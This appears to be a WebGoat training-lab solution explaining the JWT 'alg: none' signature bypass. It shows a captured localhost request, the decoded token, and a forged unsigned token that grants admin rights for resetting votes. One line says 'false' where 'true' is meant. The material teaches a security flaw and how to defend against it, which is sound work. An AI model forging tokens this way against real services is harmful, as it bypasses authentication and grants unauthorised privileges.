=== Solution

The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it.

[quote, https://tools.ietf.org/html/rfc8725#section-2.1]
____
Signed JSON Web Tokens carry an explicit indication of the signing
algorithm, in the form of the "alg" Header Parameter, to facilitate
cryptographic agility.  This, in conjunction with design flaws in
some libraries and applications, has led to several attacks:

* The algorithm can be changed to "none" by an attacker, and some
libraries would trust this value and "validate" the JWT without
checking any signature.

*  An "RS256" (RSA, 2048 bit) parameter value can be changed into
"HS256" (HMAC, SHA-256), and some libraries would try to validate
the signature using HMAC-SHA256 and using the RSA public key as
the HMAC shared secret (see [McLean] and [CVE-2015-9235]).

For mitigations, see Sections 3.1 and 3.2.
____

What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token.

==== Solution

First note that we are logged in as `Guest` so first select a different user for example: Tom.
User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an `access_token` in the response:

[source]
----
GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1

access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA
----

Decoding the token gives:

[source]
----
{
  "alg": "HS512"
}
{
  "iat": 1608128566,
  "admin": "false",
  "user": "Tom"
}
----

We can change the `admin` claim to `false` but then signature will become invalid. How do we end up with a valid signature?
Looking at the https://tools.ietf.org/html/rfc7519#section-6.1[RFC specification] `alg: none` is a valid choice and gives an unsecured JWT.
Let's change our token:

[source]
----
headers:

{
  "alg": "none"
}

claims:

{
  "iat": 1608128566,
  "admin": "true",
  "user": "Tom"
}
----

If we use WebWolf to create our token we get:

[source]
----
eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9
----

Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a `.` at the end otherwise the token is not valid.



== References

For more information take a look at the following video:

video::wt3UixCiPfo[youtube, height=480, width=100%]
